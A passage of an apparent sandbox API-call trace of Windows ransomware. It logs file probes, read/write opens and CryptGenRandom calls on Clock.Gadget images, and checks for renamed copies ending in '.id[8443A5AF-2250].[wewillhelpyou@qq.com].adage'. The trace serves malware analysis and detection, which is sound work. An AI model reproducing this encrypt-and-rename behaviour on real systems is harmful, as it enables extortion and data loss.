(lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png")) returned 0x20 [0063.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.076] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.835] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2979) returned 1 [0063.835] CloseHandle (hObject=0x1a4) returned 1 [0063.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png")) returned 0x20 [0063.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.835] SetEvent (hEvent=0x154) returned 1 [0063.835] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.836] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2919) returned 1 [0063.836] CloseHandle (hObject=0x1a4) returned 1 [0063.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png")) returned 0x20 [0063.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.836] SetEvent (hEvent=0x154) returned 1 [0063.837] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.837] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=28718) returned 1 [0063.837] CloseHandle (hObject=0x1a4) returned 1 [0063.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png")) returned 0x20 [0063.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.837] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.838] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=140) returned 1 [0063.838] CloseHandle (hObject=0x1a4) returned 1 [0063.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png")) returned 0x20 [0063.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.838] SetEvent (hEvent=0x154) returned 1 [0063.839] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.839] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=135) returned 1 [0063.840] CloseHandle (hObject=0x1a4) returned 1 [0063.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png")) returned 0x20 [0063.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.840] SetEvent (hEvent=0x154) returned 1 [0063.840] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.841] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=135) returned 1 [0063.841] CloseHandle (hObject=0x1a4) returned 1 [0063.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png")) returned 0x20 [0063.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.841] SetEvent (hEvent=0x154) returned 1 [0063.841] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.842] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0063.842] CloseHandle (hObject=0x1a4) returned 1 [0063.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png")) returned 0x20 [0063.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.842] SetEvent (hEvent=0x154) returned 1 [0063.843] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.843] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0063.843] CloseHandle (hObject=0x1a4) returned 1 [0063.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png")) returned 0x20 [0063.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.844] SetEvent (hEvent=0x154) returned 1 [0063.844] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.845] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0063.845] CloseHandle (hObject=0x1a4) returned 1 [0063.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png")) returned 0x20 [0063.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.845] SetEvent (hEvent=0x154) returned 1 [0063.845] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.846] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=168) returned 1 [0063.846] CloseHandle (hObject=0x1a4) returned 1 [0063.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png")) returned 0x20 [0063.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.847] SetEvent (hEvent=0x154) returned 1 [0063.847] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.847] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=165) returned 1 [0063.847] CloseHandle (hObject=0x1a4) returned 1 [0063.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png")) returned 0x20 [0063.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.848] SetEvent (hEvent=0x154) returned 1 [0063.848] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.849] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=166) returned 1 [0063.849] CloseHandle (hObject=0x1a4) returned 1 [0063.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png")) returned 0x20 [0063.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.849] SetEvent (hEvent=0x154) returned 1 [0063.850] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.850] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=168) returned 1 [0063.850] CloseHandle (hObject=0x1a4) returned 1 [0063.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png")) returned 0x20 [0063.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.851] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.852] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=145) returned 1 [0063.852] CloseHandle (hObject=0x1a4) returned 1 [0063.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png")) returned 0x20 [0063.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.852] SetEvent (hEvent=0x154) returned 1 [0063.852] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.853] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=139) returned 1 [0063.853] CloseHandle (hObject=0x1a4) returned 1 [0063.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png")) returned 0x20 [0063.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 